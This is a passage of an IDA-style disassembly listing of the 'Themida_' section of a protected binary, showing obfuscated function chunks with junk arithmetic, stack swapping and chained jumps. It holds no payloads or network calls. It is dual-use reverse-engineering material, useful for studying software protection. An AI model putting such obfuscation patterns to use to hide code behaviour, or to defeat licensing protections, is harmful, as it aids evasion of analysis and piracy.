loc_55B9EB:				; CODE XREF: sub_552BA6+3E39j
		mov	ecx, edx
		jmp	loc_55ACE7
; END OF FUNCTION CHUNK	FOR sub_552BA6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55C58B


loc_55B9F2:				; CODE XREF: sub_55C58B-2A2Bj
		mov	cx, word ptr [esp+8+var_8]
		jmp	loc_55926A
; END OF FUNCTION CHUNK	FOR sub_55C58B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_552215


loc_55B9FB:				; CODE XREF: sub_552215+9A1Fj
		pop	ebx
		or	edx, eax
		jmp	loc_55193C
; END OF FUNCTION CHUNK	FOR sub_552215
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55CFFC


loc_55BA03:				; CODE XREF: sub_55CFFC-1747j
		push	[esp+4+var_4]
		pop	esi
		add	esp, 4
		push	42CFh
		mov	[esp+4+var_4], ecx
		mov	ecx, 48A15A63h
		shr	ecx, 1
		jmp	loc_553A36
; END OF FUNCTION CHUNK	FOR sub_55CFFC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_554E9D


loc_55BA21:				; CODE XREF: sub_554E9D+78C3j
		pop	eax
		jmp	loc_55D7AD
; END OF FUNCTION CHUNK	FOR sub_554E9D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55910B


loc_55BA27:				; CODE XREF: sub_55910B+1661j
		mov	bx, [esp+0]
		add	esp, 2
		jmp	loc_554FB0
; END OF FUNCTION CHUNK	FOR sub_55910B
; ---------------------------------------------------------------------------


loc_55BA36:				; CODE XREF: Themida_:00553E97j
		pop	esp
		xor	eax, [esp]
		jmp	loc_55B0F4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55C1DB


loc_55BA3F:				; CODE XREF: sub_55C1DB-1F95j
		push	[esp+4+var_4]
		mov	edi, [esp+8+var_8]
		add	esp, 4
		push	442Eh
		mov	[esp+8+var_8], ecx
		push	esp
		pop	ecx
		push	edi
		mov	edi, 4E4747CFh
		not	edi
		sub	edi, 5402167Ah
		shr	edi, 6
		sub	edi, 6D6563D4h
		sub	edi, 941176AEh
		add	ecx, edi
		pop	edi
		add	ecx, 4
		push	ecx
		push	[esp+0Ch+var_8]
		pop	ecx
		pop	[esp+0Ch+var_C]
		mov	esp, [esp+8+var_8]
		jmp	loc_55AA6A
; END OF FUNCTION CHUNK	FOR sub_55C1DB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5546E4


loc_55BA86:				; CODE XREF: sub_5546E4+187Fj
		xor	ecx, 3C460154h
		push	edx
		mov	edx, 78452FFCh
		jmp	loc_5532C8
; END OF FUNCTION CHUNK	FOR sub_5546E4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_555211


loc_55BA97:				; CODE XREF: sub_555211+1j
		mov	ebx, esp
		push	eax
		mov	eax, 1CAF4A79h
		not	eax
		shl	eax, 1
		jmp	loc_55A5E0
; END OF FUNCTION CHUNK	FOR sub_555211
; ---------------------------------------------------------------------------


loc_55BAA8:				; CODE XREF: Themida_:00553CFDj
		add	edi, ecx
		pop	ecx
		xchg	edi, [esp]
		jmp	loc_553558
; ---------------------------------------------------------------------------


loc_55BAB3:				; CODE XREF: Themida_:0055BC76j
		sub	esp, 4
		mov	[esp], esi
		mov	esi, esp
		push	eax
		jmp	loc_55275F
; ---------------------------------------------------------------------------


loc_55BAC1:				; CODE XREF: Themida_:00557203j
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		jmp	loc_55AE96
; ---------------------------------------------------------------------------


loc_55BAD0:				; CODE XREF: Themida_:00554C3Fj
		sub	esi, ebp
		pop	ebp
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		jmp	loc_55D4DF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_555A6F


loc_55BAE2:				; CODE XREF: sub_555A6F+4434j
		sub	edx, 46FF2A95h
		jmp	loc_5580BE
; END OF FUNCTION CHUNK	FOR sub_555A6F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559249


loc_55BAED:				; CODE XREF: sub_559249-38B9j
		mov	[esp+1Ch+var_1C], ebx
		jmp	loc_552A5A
; END OF FUNCTION CHUNK	FOR sub_559249
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55C58B


loc_55BAF5:				; CODE XREF: sub_55C58B-27B1j
		pop	ebx
		add	edx, eax
		push	7791h
		jmp	loc_5568C0
; END OF FUNCTION CHUNK	FOR sub_55C58B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55910B


loc_55BB02:				; CODE XREF: sub_55910B-57DAj
		push	eax
		mov	al, 12h
		and	al, 0DAh
		xor	al, 0D3h
		or	dl, al
		pop	eax
		push	eax
		mov	al, 49h
		sub	dl, al
		jmp	loc_5533A9
; END OF FUNCTION CHUNK	FOR sub_55910B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_55BB16:				; CODE XREF: sub_55ABF6-7819j
		pop	ebx
		push	0E02h
		mov	[esp+2+var_4+2], esi
		push	28A46309h
		pop	esi
		push	edi
		mov	edi, 7BF34B78h
		jmp	loc_55262B
; END OF FUNCTION CHUNK	FOR sub_55ABF6

; =============== S U B	R O U T	I N E =======================================



sub_55BB30	proc near		; DATA XREF: Themida_:005512C8o

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00551D56 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0055257E SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0055276C SIZE 00000025 BYTES
; FUNCTION CHUNK AT 00553B88 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00554039 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00554725 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00554E69 SIZE 00000034 BYTES
; FUNCTION CHUNK AT 005550D3 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005558A7 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 00556215 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0055763C SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0055773A SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00557BE8 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0055843D SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00558EE5 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 005598FA SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00559FCF SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0055A470 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0055B92C SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0055B9B5 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0055C9BC SIZE 00000011 BYTES

		lodsd
		xor	eax, ebx
		push	5B6Dh
		mov	[esp+4+var_4], esi
		mov	esi, 6A7117A6h
		push	edi
		mov	edi, 26F50313h
		push	ebp
		mov	ebp, 26CF4DB5h
		shr	ebp, 8
		jmp	loc_55276C
sub_55BB30	endp

; ---------------------------------------------------------------------------


loc_55BB54:				; CODE XREF: Themida_:005516D1j
		add	ebx, 8CC9B479h
		add	esi, 2B903D62h
		sub	esi, 144057D2h
		add	esi, ebx
		jmp	loc_5560DC
; ---------------------------------------------------------------------------


loc_55BB6D:				; CODE XREF: Themida_:00554E57j
		add	edx, 4
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		pop	esp
		sub	al, ch
		jmp	loc_55B8C5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_554085


loc_55BB84:				; CODE XREF: sub_554085+22A7j
		pop	eax
		pop	ebx
		shr	dl, 3
		push	ax
		push	ebx
		jmp	loc_556913
; END OF FUNCTION CHUNK	FOR sub_554085
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		jmp	loc_5523B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_553571


loc_55BB9A:				; CODE XREF: sub_553571+381j
		add	ebx, ecx
		pop	ecx
		push	ebp
		mov	ebp, 0B4A1324h
		jmp	loc_557BCE
; END OF FUNCTION CHUNK	FOR sub_553571
; ---------------------------------------------------------------------------


loc_55BBA8:				; CODE XREF: Themida_:0055190Fj
		push	edi
		mov	edi, 4
		sub	ebx, 35A5F2Fh
		add	ebx, edi
		push	eax
		mov	eax, 35A5F2Fh
		add	ebx, 29C11B7Ah
		add	ebx, eax
		sub	ebx, 29C11B7Ah
		pop	eax
		pop	edi
		push	4E28h
		jmp	loc_552727
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_55BBD6:				; CODE XREF: sub_55ABF6+186j
		sub	ch, 8Ch
		mov	dh, ch
		pop	ecx
		sub	al, dh
		pop	dx
		jmp	loc_552AC8
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55CE17


loc_55BBE5:				; CODE XREF: sub_55CE17-2E4Dj
		mov	[esp-4+arg_0], edx
		push	7F1Eh
		mov	[esp+0], ecx
		jmp	loc_5520A6
; END OF FUNCTION CHUNK	FOR sub_55CE17
; ---------------------------------------------------------------------------


loc_55BBF5:				; CODE XREF: Themida_:0055CE12j
		mov	dh, 0EAh
		xor	dh, ah
		pop	eax
		sub	al, dh
		mov	edx, [esp]
		add	esp, 4
		add	al, 0FCh
		sub	al, 8Fh
		push	0FEFh
		mov	[esp], ecx
		push	eax
		mov	ah, 2Bh
		jmp	loc_555D03
; ---------------------------------------------------------------------------


loc_55BC16:				; CODE XREF: Themida_:0055C5A5j
		add	[esp+8], edi
		pop	edi
		push	esi
		jmp	loc_55723A

; =============== S U B	R O U T	I N E =======================================



sub_55BC21	proc near		; DATA XREF: Themida_:00551244o
		push	dword ptr [edi+1Ch]
		popf
		pop	ax
		sbb	[esp+0], ax
		pushf
		jmp	loc_5514E3
sub_55BC21	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_552215


loc_55BC31:				; CODE XREF: sub_552215+79C9j
		pop	edx
		and	eax, ebx
		jmp	loc_55B9FB
; END OF FUNCTION CHUNK	FOR sub_552215
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55A0D6


loc_55BC39:				; CODE XREF: sub_55A0D6-436j
		pop	esi
		add	esp, 4
		add	edx, 2
		jmp	loc_55C448
; END OF FUNCTION CHUNK	FOR sub_55A0D6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_55BC45:				; CODE XREF: sub_55ABF6+3C4j
		push	439h
		mov	[esp-6+arg_0+2], ebx
		pop	edx
		mov	ebx, [esp-0Ah+arg_4+2]
		jmp	loc_554EBC
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------


loc_55BC56:				; CODE XREF: Themida_:005543D1j
		pop	esi
		push	edx
		push	2E64180h
		pop	edx
		jmp	loc_55C6DE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559249


loc_55BC63:				; CODE XREF: sub_559249-67E4j
		mov	eax, ebx
		pop	ebx
		mov	ecx, 0AC2E0399h
		add	ecx, eax
		jmp	loc_554EA9
; END OF FUNCTION CHUNK	FOR sub_559249
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		jmp	loc_55BAB3
; ---------------------------------------------------------------------------


loc_55BC7B:				; CODE XREF: Themida_:0055CF11j
		push	53AAh
		mov	[esp], ebp
		mov	ebp, 38FB7B43h
		push	edx
		mov	edx, 38FB7B41h
		xor	ebp, edx
		pop	edx
		add	edx, 6E33781Eh
		add	edx, ebp
		sub	edx, 6E33781Eh
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_55A35E
; ---------------------------------------------------------------------------


loc_55BCAA:				; CODE XREF: Themida_:00558EE0j
		mov	eax, 8874140h
		mov	esi, eax
		pop	eax
		push	esi
		jmp	loc_558578
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55314C


loc_55BCB8:				; CODE XREF: sub_55314C+868Dj
		xor	edi, 599635C1h
		jmp	loc_55661A
; END OF FUNCTION CHUNK	FOR sub_55314C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_555C6B


loc_55BCC3:				; CODE XREF: sub_555C6B+15FAj
		push	edx
		jmp	loc_558BFC
; END OF FUNCTION CHUNK	FOR sub_555C6B
; ---------------------------------------------------------------------------


loc_55BCC9:				; CODE XREF: Themida_:005518A8j
		xor	ebp, [esp]
		pop	esp
		push	ecx
		jmp	loc_556BD6
; ---------------------------------------------------------------------------


loc_55BCD3:				; CODE XREF: Themida_:0055A9E4j
		add	ah, dl
		add	ah, 1
		pop	dx
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_558F6B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55CFFC


loc_55BCE8:				; CODE XREF: sub_55CFFC-AFA4j
		push	795Fh
		mov	[esp+4+var_4], eax
		mov	eax, esp
		push	edi
		mov	edi, 31984CA6h
		not	edi
		jmp	loc_55DA7B
; END OF FUNCTION CHUNK	FOR sub_55CFFC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559249


loc_55BCFF:				; CODE XREF: sub_559249-5498j
		sub	eax, esi
		pop	esi
		push	eax
		jmp	loc_554B06
; END OF FUNCTION CHUNK	FOR sub_559249
; ---------------------------------------------------------------------------


loc_55BD08:				; CODE XREF: Themida_:00551F92j
		shl	ebx, 6
		shl	ebx, 4
		jmp	loc_55968C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_552850


loc_55BD13:				; CODE XREF: sub_552850+66FEj
		sub	esi, 3EE7020Fh
		xor	esi, 0CC2DD5F5h
		add	edi, esi
		pop	esi
		sub	esp, 4
		mov	[esp+4+var_4], edi
		push	dword ptr [esp+4]
		jmp	loc_559CE2
; END OF FUNCTION CHUNK	FOR sub_552850
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5523E1


loc_55BD34:				; CODE XREF: sub_5523E1+A01Fj
		mov	esp, [esp+0Ch+var_C]
		xor	edx, [esp+0]
		xor	[esp+0], edx
		jmp	loc_553035
; END OF FUNCTION CHUNK	FOR sub_5523E1
; ---------------------------------------------------------------------------


loc_55BD42:				; CODE XREF: Themida_:00555880j
		xchg	edx, [esp]
		pop	esp
		jmp	loc_55AF92
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559249


loc_55BD4B:				; CODE XREF: sub_559249-BF7j
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		jmp	loc_55621C
; END OF FUNCTION CHUNK	FOR sub_559249
; ---------------------------------------------------------------------------


loc_55BD5E:				; CODE XREF: Themida_:0055CE77j
		xchg	edx, ecx
		xchg	ecx, edi
		jmp	loc_551BAA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55314C


loc_55BD67:				; CODE XREF: sub_55314C+6A6Ej
		mov	eax, [esp+10h+var_10]
		add	esp, 4
		neg	edi
		jmp	loc_557D22
; END OF FUNCTION CHUNK	FOR sub_55314C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55C814


loc_55BD77:				; CODE XREF: sub_55C814-34ACj
		pop	esp
		mov	[esp+0], eax
		xchg	ebx, [esp+0]
		not	ebx
		jmp	loc_5574EE
; END OF FUNCTION CHUNK	FOR sub_55C814
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_552B28


loc_55BD85:				; CODE XREF: sub_552B28+A2j
		mov	cl, 0FBh
		xor	cl, bh
		pop	ebx
		jmp	loc_555BA4
; END OF FUNCTION CHUNK	FOR sub_552B28
; ---------------------------------------------------------------------------


loc_55BD8F:				; CODE XREF: Themida_:0055235Bj
		sub	edx, eax
		pop	eax
		pop	ebp
		xchg	edx, [esp]
		mov	esp, [esp]
		shl	dword ptr [esp], cl
		pushf
		jmp	loc_5514E3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_55BDA2:				; CODE XREF: sub_55ABF6-1B86j
		sub	esi, 35E56A89h
		jmp	loc_55C9E3
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------
		push	dword ptr [edi+3Ch]
		jmp	loc_553897
; ---------------------------------------------------------------------------


loc_55BDB5:				; CODE XREF: Themida_:00557C58j
		sub	edx, 23603A71h
		xor	edi, edx
		pop	edx
		xor	edi, 4F53246Ah
		push	esi
		mov	esi, 63C53E73h
		not	esi
		inc	esi
		jmp	loc_5590D8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_55BDD2:				; CODE XREF: sub_55ABF6-928Cj
		xor	ah, 7
		mov	dh, ah
		pop	eax
		or	dh, 0Ah
		push	eax
		push	ebx
		jmp	loc_55948B
; ---------------------------------------------------------------------------


loc_55BDE2:				; CODE XREF: sub_55ABF6-84ACj
		pop	ecx
		sub	bl, 0Fh
		sub	bl, dh
		add	bl, 0Fh
		jmp	loc_556331
; END OF FUNCTION CHUNK	FOR sub_55ABF6

; =============== S U B	R O U T	I N E =======================================



sub_55BDF0	proc near		; DATA XREF: Themida_:00551298o

; FUNCTION CHUNK AT 00552F5A SIZE 0000001F BYTES
; FUNCTION CHUNK AT 00558C63 SIZE 00000041 BYTES
; FUNCTION CHUNK AT 0055A44F SIZE 00000011 BYTES

		mov	cx, [esp+0]
		push	eax
		jmp	loc_558C63
sub_55BDF0	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5523E1


loc_55BDFA:				; CODE XREF: sub_5523E1+6A52j
		sub	ebp, edi
		mov	edi, [esp+0Ch+var_C]
		add	esp, 4
		add	ebp, 42316900h
		pop	eax
		add	ebp, 2
		jmp	loc_551B89
; END OF FUNCTION CHUNK	FOR sub_5523E1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55CFFC


loc_55BE14:				; CODE XREF: sub_55CFFC-7A97j
		add	ebp, 4DB14559h
		sub	ebp, 15E043F2h
		pop	ebx
		push	ecx
		mov	ecx, 24415704h
		not	ecx
		sub	ecx, 6EC46ED4h
		shr	ecx, 7
		not	ecx
		jmp	loc_5561E4
; END OF FUNCTION CHUNK	FOR sub_55CFFC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55D9AA


loc_55BE39:				; CODE XREF: sub_55D9AA+6j
		pop	eax
		jmp	loc_559F05
; END OF FUNCTION CHUNK	FOR sub_55D9AA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_553144


loc_55BE3F:				; CODE XREF: sub_553144+382Cj
		push	7080h
		jmp	loc_5537A2
; END OF FUNCTION CHUNK	FOR sub_553144
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_553EEA


loc_55BE49:				; CODE XREF: sub_553EEA+4j
		push	261Ah
		mov	[esp+4+var_4], esi
		push	esp
		mov	esi, [esp+8+var_8]
		add	esp, 4
		jmp	loc_5549BB
; END OF FUNCTION CHUNK	FOR sub_553EEA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_55BE5D:				; CODE XREF: sub_55ABF6-5395j
		mov	dl, 44h
		xor	dl, 0CAh
		add	al, dl
		pop	edx
		jmp	loc_55490F
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556EE1


loc_55BE6A:				; CODE XREF: sub_556EE1+662Dj
		pop	eax
		push	ebp
		mov	ebp, 30F33948h
		sub	ebp, 0A77E1A7h
		jmp	loc_55B128
; END OF FUNCTION CHUNK	FOR sub_556EE1
; ---------------------------------------------------------------------------


loc_55BE7C:				; CODE XREF: Themida_:00559A7Dj
		add	ebx, 6304705Dh
		neg	ebx
		xor	ebx, 0F6DA9BA8h
		xor	ecx, ebx
		pop	ebx
		sub	eax, ecx
		pop	ecx
		jmp	loc_556708
; ---------------------------------------------------------------------------


loc_55BE95:				; CODE XREF: Themida_:00555CF7j
		and	cl, 7Fh
		jmp	loc_55A6C7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_55BE9D:				; CODE XREF: sub_55ABF6+23D7j
		sub	bl, dl
		pop	dx
		push	1359h
		mov	[esp+8+var_8], edx
		jmp	loc_551959
; ---------------------------------------------------------------------------


loc_55BEAE:				; CODE XREF: sub_55ABF6-1F09j
		xchg	eax, ecx
		xchg	ebx, ecx
		push	ebx
		xchg	edx, [esp+0]
		not	edx
		xchg	edx, [esp+0]
		pop	ebx
		push	ecx
		sub	esp, 4
		jmp	loc_556F93
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------


loc_55BEC4:				; CODE XREF: Themida_:0055BED5j
		push	edx
		jmp	loc_55C8D7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_55BECA:				; CODE XREF: sub_55ABF6-92F2j
		mov	[esp-0Ah+arg_4+2], ebx
		jmp	loc_55B9D6
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------


loc_55BED2:				; CODE XREF: Themida_:0055D68Dj
		push	ecx
		mov	cl, 2Bh
		jmp	loc_55BEC4

; =============== S U B	R O U T	I N E =======================================



sub_55BEDA	proc near		; CODE XREF: sub_55ABF6-7768j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00551A4A SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00552C7D SIZE 00000019 BYTES
; FUNCTION CHUNK AT 005541E9 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0055A291 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0055A4A0 SIZE 00000011 BYTES

		push	ebx
		mov	ebx, 14800826h
		inc	ebx
		jmp	loc_55A291
sub_55BEDA	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55D9AA


loc_55BEE6:				; CODE XREF: sub_55D9AA-386Ej
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp+0Ch+var_C]
		jmp	loc_55686C
; END OF FUNCTION CHUNK	FOR sub_55D9AA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55D0F3


loc_55BEFA:				; CODE XREF: sub_55D0F3-7F91j
		pop	esp
		movsx	ecx, ax
		jmp	loc_559CA5
; END OF FUNCTION CHUNK	FOR sub_55D0F3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55163B


loc_55BF03:				; CODE XREF: sub_55163B+9519j
		shr	edx, 3
		jmp	loc_557F38
; END OF FUNCTION CHUNK	FOR sub_55163B
; ---------------------------------------------------------------------------


loc_55BF0B:				; CODE XREF: Themida_:00559E25j
		sub	dh, 6Dh
		xor	dh, 43h
		jmp	loc_5520BD
; ---------------------------------------------------------------------------


loc_55BF16:				; CODE XREF: Themida_:00557FD0j
		mov	[esp], ebx
		mov	bl, 0CFh
		mov	ch, bl
		pop	ebx
		jmp	loc_556861
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_55BF23:				; CODE XREF: sub_55ABF6-7BA1j
		mov	al, dl
		pop	edx
		jmp	loc_5520CF
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55163B


loc_55BF2B:				; CODE XREF: sub_55163B+B692j
		xor	eax, ecx
		push	29B4h
		jmp	loc_55D61B
; END OF FUNCTION CHUNK	FOR sub_55163B
; ---------------------------------------------------------------------------


loc_55BF37:				; CODE XREF: Themida_:00551B17j
		push	ecx
		mov	cl, 0B7h
		xor	cl, 69h
		sub	bh, 0Ah
		sub	bh, cl
		push	eax
		jmp	loc_55531C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55B585


loc_55BF48:				; CODE XREF: sub_55B585+6j
		mov	word ptr [esp+4+var_4],	dx
		jmp	loc_55339F
; END OF FUNCTION CHUNK	FOR sub_55B585
; ---------------------------------------------------------------------------


loc_55BF51:				; CODE XREF: Themida_:0055B595j
		xor	esi, 2A710C99h
		neg	esi
		sub	esi, 43D724F6h
		jmp	loc_558483
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55163B


loc_55BF64:				; CODE XREF: sub_55163B+6903j
		xor	edx, 368D0464h
		add	edi, edx
		pop	edx
		push	ecx
		mov	ecx, 396A1A23h
		or	ecx, 4E314C4Fh
		dec	ecx
		jmp	loc_5558C7
; END OF FUNCTION CHUNK	FOR sub_55163B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_558326


loc_55BF7F:				; CODE XREF: sub_558326+129Fj
		pop	edi
		add	eax, 4
		xor	eax, [esp+8+var_8]
		xor	[esp+8+var_8], eax
		xor	eax, [esp+8+var_8]
		pop	esp
		push	eax
		mov	eax, 2CC855E6h
		add	edi, eax
		jmp	loc_557089
; END OF FUNCTION CHUNK	FOR sub_558326
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55AABB


loc_55BF9A:				; CODE XREF: sub_55AABB-4807j
		pop	eax
		add	edi, eax
		pop	eax
		xor	edi, [esp+0]
		xor	[esp+0], edi
		xor	edi, [esp+0]
		pop	esp
		sub	word ptr [esp-4+arg_0],	ax
		pushf
		jmp	loc_55936D
; END OF FUNCTION CHUNK	FOR sub_55AABB
; ---------------------------------------------------------------------------


loc_55BFB2:				; CODE XREF: Themida_:0055A049j
		push	ecx
		mov	ecx, esp
		sub	esp, 4
		mov	[esp], edi
		push	6511h
		mov	[esp], ebx
		jmp	loc_556DA5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_55BFC8:				; CODE XREF: sub_55ABF6+2451j
		sub	bl, cl
		pop	ecx
		jmp	loc_555F75
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5523E1


loc_55BFD0:				; CODE XREF: sub_5523E1+9510j
		add	edx, ebx
		pop	ebx
		jmp	loc_5589FB
; END OF FUNCTION CHUNK	FOR sub_5523E1
; ---------------------------------------------------------------------------


loc_55BFD8:				; CODE XREF: Themida_:0055ABD2j
		shl	esi, 2
		push	ecx
		push	esi
		mov	esi, 3CD72CF0h
		and	esi, 1D377E8Fh
		sub	esi, 1B322418h
		mov	ecx, esi
		pop	esi
		sub	ecx, 0C1E09100h
		and	esi, ecx
		pop	ecx
		sub	esi, 4A035775h
		shl	esi, 8
		xor	esi, 4143A7DBh
		add	edi, esi
		pop	esi
		add	ecx, edi
		pop	edi
		push	edi
		mov	edi, 2
		add	ecx, edi
		jmp	loc_55AAEF
; ---------------------------------------------------------------------------


loc_55C01C:				; CODE XREF: Themida_:00558CCCj
		pop	edx
		pop	ebp
		add	eax, ebx
		sub	eax, 46B00717h
		jmp	loc_55A510
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55B1F8


loc_55C02A:				; CODE XREF: sub_55B1F8+2Dj
		sub	ecx, 2B227F2Bh
		add	eax, ecx
		jmp	loc_555E35
; END OF FUNCTION CHUNK	FOR sub_55B1F8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559249


loc_55C037:				; CODE XREF: sub_559249-4DA0j
		xor	eax, ebp
		mov	ebp, [esp+14h+var_14]
		add	esp, 4
		and	eax, 79AF3237h
		and	eax, 244231D0h
		jmp	loc_5576AE
; END OF FUNCTION CHUNK	FOR sub_559249
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	ax
		sbb	[esp], al
		pushf
		jmp	loc_5514E3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_55C05D:				; CODE XREF: sub_55ABF6+55Dj
		mov	ecx, 5D92059h
		and	edx, ecx
		pop	ecx
		sub	edx, 1
		xor	edx, 5D275664h
		add	edi, edx
		pop	edx
		jmp	loc_55C450
; ---------------------------------------------------------------------------


loc_55C076:				; CODE XREF: sub_55ABF6+C4Dj
		push	145Bh
		mov	[esp-4+arg_0], esp
		jmp	loc_55AEE1
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559249


loc_55C083:				; CODE XREF: sub_559249+1DBEj
		push	eax
		mov	eax, 39653FFFh
		sub	eax, 2E72056Dh
		jmp	loc_552A35
; END OF FUNCTION CHUNK	FOR sub_559249
; ---------------------------------------------------------------------------


loc_55C093:				; CODE XREF: Themida_:00555A2Aj
		pop	eax
		push	edx
		mov	edx, 4
		add	ecx, edx
		pop	edx
		xchg	ecx, [esp]
		mov	esp, [esp]
		or	[esp], eax
		pushf
		jmp	loc_5514E3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_552791


loc_55C0AC:				; CODE XREF: sub_552791+1F6Aj
		pop	edx
		add	esp, 4
		push	ebx
		push	637h
		mov	[esp+8+var_8], edx
		push	ebx
		mov	bl, 0A4h
		mov	dl, bl
		pop	ebx
		jmp	loc_55AE40
; END OF FUNCTION CHUNK	FOR sub_552791
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55C814


